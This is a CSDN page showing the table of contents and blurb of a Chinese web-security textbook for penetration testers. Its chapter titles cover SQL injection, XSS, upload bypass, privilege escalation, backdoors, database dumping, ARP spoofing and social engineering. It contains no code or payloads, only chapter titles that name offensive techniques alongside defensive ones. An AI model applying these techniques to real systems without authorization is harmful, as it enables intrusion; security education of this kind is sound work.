10.1.5 检测CSRF漏洞 193 10.1.6 预防跨站请求伪造 197 10.2 逻辑错误漏洞 199 10.2.1 挖掘逻辑漏洞 199 10.2.2 绕过授权验证 200 10.2.3 密码找回逻辑漏洞 204 10.2.4 支付逻辑漏洞 205 10.2.5 指定账户恶意攻击 209 10.3 代码注入 210 10.3.1 XML注入 211 10.3.2 XPath注入 212 10.3.3 JSON注入 215 10.3.4 Parameter Pollution 216 10.4 URL跳转与钓鱼 218 10.4.1 URL跳转 218 10.4.2 钓鱼 220 10.5 WebServer远程部署 224 10.5.1 Tomcat 224 10.5.2 JBoss 226 10.5.3 WebLogic 229 10.6 小结 233 第3篇 实战篇 第11章 实战入侵与防范 236 11.1 开源程序安全剖析 236 11.1.1 0day攻击 236 11.1.2 网站后台安全 238 11.1.3 MD5还安全吗 243 11.2 拖库 248 11.2.1 支持外连接 248 11.2.2 不支持外连接 253 11.3 小结 262 第4篇 综合篇 第12章 暴力破解测试 264 12.1 C/S架构破解 265 12.2 B/S架构破解 272 12.3 暴力破解案例 275 12.4 防止暴力破解 277 12.5 小结 278 第13章 旁注攻击 279 13.1 服务器端Web架构 279 13.2 IP逆向查询 280 13.3 SQL跨库查询 282 13.4 目录越权 283 13.5 构造注入点 284 13.6 CDN 286 13.7 小结 288 第14章 提权 290 14.1 溢出提权 290 14.2 第三方组件提权 294 14.2.1 信息搜集 294 14.2.2 数据库提权 296 14.2.3 FTP提权 302 14.2.4 PcAnywhere提权 312 14.3 虚拟主机提权 314 14.4 提权辅助 315 14.4.1 3389端口 315 14.4.2 端口转发 318 14.4.3 启动项提权 320 14.4.4 DLL劫持 321 14.4.5 添加后门 322 14.5 服务器防提权措施 324 14.6 小结 325 第15章 ARP欺骗攻击 326 15.1 ARP协议简介 326 15.1.1 ARP缓存表 326 15.1.2 局域网主机通信 327 15.1.3 ARP欺骗原理 328 15.2 ARP攻击 329 15.2.1 Cain 329 15.2.2 Ettercap 332 15.2.3 NetFuke 336 15.3 防御ARP攻击 339 15.4 小结 340 第16章 社会工程学 341 16.1 信息搜集 341 16.2 沟通 343 16.3 伪造 344 16.4 小结 345
Web安全深度剖析》总结了当前流行的高危漏洞的形成原因、攻击手段及解决方案,并通过大量的示例代码复现漏洞原型,制作模拟环境,更好地帮助读者深入了解Web应用程序中存在的漏洞,防患于未然。 《Web安全深度剖析》从攻到防,从原理到实战,由浅入深、循序渐进地介绍了Web 安全体系。全书分4 篇共16 章,除介绍Web 安全的基础知识外,还介绍了Web 应用程序中最常见的安全漏洞、开源程序的攻击流程与防御,并着重分析了“拖库”事件时黑客所使用的攻击手段。此外,还介绍了渗透测试工程师其他的一些检测方式。 《Web安全深度剖析》最适合渗透测试人员、Web 开发人员、安全咨询顾问、测试人员、架构师、项目经理、设计等人员阅读,也可以作为信息安全等相关专业的教材。 第1篇 基础篇 第1章 Web安全简介 2 1.1 服务器是如何被入侵的 2 1.2 如何更好地学习Web安全 4 第2章 深入HTTP请求流程 6 2.1 HTTP协议解析 6 2.1.1 发起HTTP请求 6 2.1.2 HTTP协议详解 7 2.1.3 模拟HTTP请求 13 2.1.4 HTTP协议与HTTPS协议的区别 14 2.2 截取HTTP请求 15 2.2.1 Burp Suite Proxy 初体验 15 2.2.2 Fiddler 19 2.2.3 WinSock Expert 24 2.3 HTTP应用:黑帽SEO之搜索引擎劫持 24 2.4 小结 25 第3章 信息探测 26 3.1 Google Hack 26 3.1.1 搜集子域名 26 3.1.2 搜集Web信息 27 3.2 Nmap初体验 29 3.2.1 安装Nmap 29 3.2.2 探测主机信息 30 3.2.3 Nmap脚本引擎 32 3.3 DirBuster 33 3.4 指纹识别 35 3.5 小结 38 第4章 漏洞扫描 39 4.1 Burp Suite 39 4.1.1 Target 39 4.1.2 Spider 40 4.1.3 Scanner 42 4.1.4 Intruder 43 4.1.5 辅助模块 46 4.2 AWVS 49 4.2.1 WVS向导扫描 50 4.2.2 Web扫描服务 52 4.2.3 WVS小工具 53 4.3 AppScan 54 4.3.1 使用AppScan扫描 55 4.3.2 处理结果 58 4.3.3 AppScan辅助工具 58 4.4 小结 61 第2篇 原理篇 第5章 SQL注入漏洞 64 5.1 SQL注入原理 64 5.2 注入漏洞分类 66 5.2.1 数字型注入 66 5.2.2 字符型注入 67 5.2.3 SQL注入分类 68 5.3 常见数据库注入 69 5.3.1 SQL Server 69 5.3.2 MySQL 75 5.3.3 Oracle 84 5.4 注入工具 89 5.4.1 SQLMap 89 5.4.2 Pangolin 95 5.4.3 Havij 98 5.5 防止SQL注入 99 5.5.1 严格的数据类型 100 5.5.2 特殊字符转义 101 5.5.3 使用预编译语句 102 5.5.4 框架技术 103 5.5.5 存储过程 104 5.6 小结 105 第6章 上传漏洞 106 6.1 解析漏洞 106 6.1.1 IIS解析漏洞 106 6.1.2 Apache解析漏洞 109 6.1.3 PHP CGI解析漏洞 110 6.2 绕过上传漏洞 110 6.2.1 客户端检测 112 6.2.2 服务器端检测 115 6.3 文本编辑器上传漏洞 123 6.4 修复上传漏洞 127 6.5 小结 128 第7章 XSS跨站脚本漏洞 129 7.1 XSS原理解析 129 7.2 XSS类型 130 7.2.1 反射型XSS 130 7.2.2 存储型XSS 131 7.2.3 DOM XSS 132 7.3 检测XSS 133 7.3.1 手工检测XSS 134 7.3.2 全自动检测XSS 134 7.4 XSS高级利用 134 7.4.1 XSS会话劫持 135 7.4.2 XSS Framework 141 7.4.3 XSS GetShell 144 7.4.3 XSS蠕虫 149 7.5 修复XSS跨站漏洞 151 7.5.1 输入与输出 151 7.5.2 HttpOnly 158 7.6 小结 160 第8章 命令执行漏洞 161 8.1 OS命令执行漏洞示例 161 8.2 命令执行模型 162 8.2.1 PHP命令执行 163 8.2.2 Java命令执行 165 8.3 框架执行漏洞 166 8.3.1 Struts2代码执行漏洞 166 8.3.2
©️2021 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值